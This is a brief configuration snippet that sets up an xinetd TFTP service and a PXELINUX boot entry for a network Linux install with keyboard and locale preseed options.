service tftp{ protocol = udp port = 69 socket_type = dgram wait = yes user = user server = /usr/sbin/in.tftpd server_args = /var/lib/tftpboot disable = no}
DEFAULT linuxLABEL linux KERNEL boot/vmlinuz APPEND initrd=boot/initrd.gz ramdisk_size=10800 root=/dev/rd/0 rw auto console-setup/ask_detect=false console-setup/layout=USA console-setup/variant=USA keyboard-configuration/layoutcode=us localechooser/translation/warn-light=true localechooser/translation/warn-severe=true locale=en_US IPAPPEND 2